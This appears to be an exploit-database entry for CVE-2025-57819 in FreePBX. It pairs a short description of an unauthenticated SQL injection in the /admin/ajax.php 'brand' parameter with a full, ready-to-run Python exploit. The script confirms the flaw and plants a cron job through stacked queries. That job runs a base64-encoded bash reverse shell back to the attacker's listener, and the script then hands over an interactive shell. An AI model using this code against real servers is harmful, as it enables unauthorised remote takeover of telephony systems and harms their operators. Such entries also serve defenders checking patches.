FreePBX 17.0.2 - Remote Code Execution (RCE)

# Exploit Title: FreePBX 17.0.2 - Remote Code Execution
# Date: 2026-08-12
# Exploit Author: K3ysTr0K3R (Jared Brits)
# Vendor Homepage: https://www.freepbx.org/
# Software Link: https://github.com/FreePBX/freepbx
# Version: FreePBX 15.x < 15.0.66, 16.x < 16.0.89, 17.x < 17.0.3
# Tested on: Linux (Debian/Ubuntu) with Asterisk
# CVE: CVE-2025-57819
# CWE: CWE-89 (SQL Injection), CWE-288 (Authentication Bypass)
# CVSS: 9.8 (Critical) / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Tags: FreePBX, SQL Injection, Authentication Bypass, Remote Code Execution, Unauthenticated, Reverse Shell, Cron Injection, CVE-2025-57819
# References: https://nvd.nist.gov/vuln/detail/CVE-2025-57819 | https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h
#
# Description:
# CVE-2025-57819 is a critical unauthenticated SQL injection vulnerability discovered in the
# Endpoint Manager module of FreePBX. The flaw resides in the 'brand' parameter of the
# /admin/ajax.php endpoint, which fails to sanitize user input before using it in SQL queries.
#
# An unauthenticated attacker can exploit this by sending a crafted GET request that injects
# arbitrary SQL commands. Because the application uses stacked queries (multiple statements
# separated by semicolons), an attacker can execute an INSERT statement to add a malicious
# cron job to the 'cron_jobs' table. This cron job runs a reverse shell command with
# administrative privileges (typically as the Apache user), leading to full remote code
# execution on the underlying server.
#
# The vulnerability affects FreePBX versions 15.x prior to 15.0.66, 16.x prior to 16.0.89,
# and 17.x prior to 17.0.3. It has been assigned a CVSS score of 9.8 (Critical) and is
# listed in CISA's Known Exploited Vulnerabilities catalog.
#
# This exploit automates the process by:
# 1. Validating the target is vulnerable using an error-based SQLi detection.
# 2. Starting a reverse shell listener on the attacker's machine.
# 3. Injecting a base64-encoded reverse shell command into the cron_jobs table via the SQLi.
# 4. Waiting for the cron job to execute (within 60 seconds) and capturing the shell.
#
# Usage:
# python3 exploit.py -u http://target-freepbx.com --lhost 10.0.0.1 --lport 4444

import sys
import time
import requests
import urllib3
import socket
import threading
import base64
import argparse
from rich.console import Console

console = Console()

def banner():
    console.print("[cyan]CVE-2025-57819 • FreePBX Unauth SQLi → RCE[/cyan]")
    console.print("[cyan]Coded By: K3ysTr0K3R (Jared Brits)[/cyan]")
    console.print("[yellow]Need a hug? ʕっ•ᴥ•ʔっ[/yellow]")
    print()

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def validate_sqli(target_url):
    vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
    payload = "x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -"
    params = {
        'module': 'FreePBX\\modules\\endpoint\\ajax',
        'command': 'model',
        'template': 'x',
        'model': 'model',
        'brand': payload
    }
    try:
        response = requests.get(vuln_url, params=params, verify=False, timeout=15)
        if "XPATH syntax error" in response.text and "freepbxuser" in response.text:
            console.print("[green][+][/green] Exploit path confirmed!")
            return True
        else:
            console.print("[red][-][/red] Target immune – no vulnerable signature detected.")
            return False
    except Exception as e:
        console.print(f"[red][-][/red] Probe failed: {e}")
        return False

def start_listener(lhost, lport):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        server.bind((lhost, lport))
    except Exception as e:
        console.print(f"[red][-][/red] Listener deployment failed: {e}")
        sys.exit(1)
    server.listen(1)
    console.print(f"[blue][*][/blue] Reverse listener armed on {lhost}:{lport}, awaiting callback...")
    client, addr = server.accept()
    console.print(f"[green][+][/green] Incoming shell session acquired from {addr}!")

    pty_attempts = [
        b"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
        b"python -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
        b"script -q /dev/null /bin/bash\n",
    ]
    for cmd in pty_attempts:
        client.send(cmd)
        time.sleep(0.5)
    console.print("[blue][*][/blue] Interactive control established. Type 'exit' to terminate session.")

    def reader():
        while True:
            try:
                data = client.recv(4096)
                if not data:
                    break
                sys.stdout.buffer.write(data)
                sys.stdout.flush()
            except:
                break

    recv_thread = threading.Thread(target=reader)
    recv_thread.daemon = True
    recv_thread.start()

    try:
        while True:
            cmd = input()
            if cmd.lower() == 'exit':
                client.close()
                break
            client.send((cmd + "\n").encode())
    except (EOFError, KeyboardInterrupt):
        print()
        console.print("[yellow][!][/yellow] Forced session termination.")
        client.close()
    except Exception as e:
        console.print(f"[red][-][/red] Channel error: {e}")
        client.close()
    console.print("[blue][*][/blue] Remote session closed.")

def exploit(target_url, lhost, lport):
    banner()
    console.print(f"[blue][*][/blue] Target locked: {target_url}")

    listener_thread = threading.Thread(target=start_listener, args=(lhost, lport))
    listener_thread.daemon = True
    listener_thread.start()
    time.sleep(1)

    if not validate_sqli(target_url):
        console.print("[red][-][/red] Exploit aborted – target not vulnerable.")
        sys.exit(1)

    shell_cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'"
    b64_shell_cmd = base64.b64encode(shell_cmd.encode()).decode()
    final_cmd = f"echo '{b64_shell_cmd}' | base64 -d | bash"
    hex_payload = final_cmd.encode().hex()

    sql_payload = (
        f"x' ;INSERT INTO cron_jobs "
        f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) "
        f"VALUES ('sysadmin', 'revshell', 0x{hex_payload}, NULL, '* * * * *', 30, 1, 1) -- "
    )

    vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
    params = {
        'module': 'FreePBX\\modules\\endpoint\\ajax',
        'command': 'model',
        'template': 'x',
        'model': 'model',
        'brand': sql_payload
    }

    console.print("[blue][*][/blue] Injecting payload into cron schedule...")
    try:
        response = requests.get(vuln_url, params=params, verify=False, timeout=15)
        if response.status_code in (200, 500):
            console.print(f"[green][+][/green] Payload planted successfully (server response: {response.status_code})")
            console.print("[blue][*][/blue] Awaiting trigger activation (cron will fire within ~60 seconds)...")
        else:
            console.print(f"[red][-][/red] Unexpected status {response.status_code} – payload may have missed.")
            console.print(response.text[:200])
            sys.exit(1)
    except Exception as e:
        console.print(f"[red][-][/red] Injection delivery failed: {e}")
        sys.exit(1)

    console.print(f"[blue][*][/blue] Backdoor callback expected from {lhost}:{lport} in the next 60–90 seconds...")
    listener_thread.join()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-57819 FreePBX Unauthenticated SQLi → RCE")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://127.0.0.1)")
    parser.add_argument("--lhost", required=True, help="Listener IP address")
    parser.add_argument("--lport", type=int, required=True, help="Listener port")
    args = parser.parse_args()

    exploit(args.url, args.lhost, args.lport)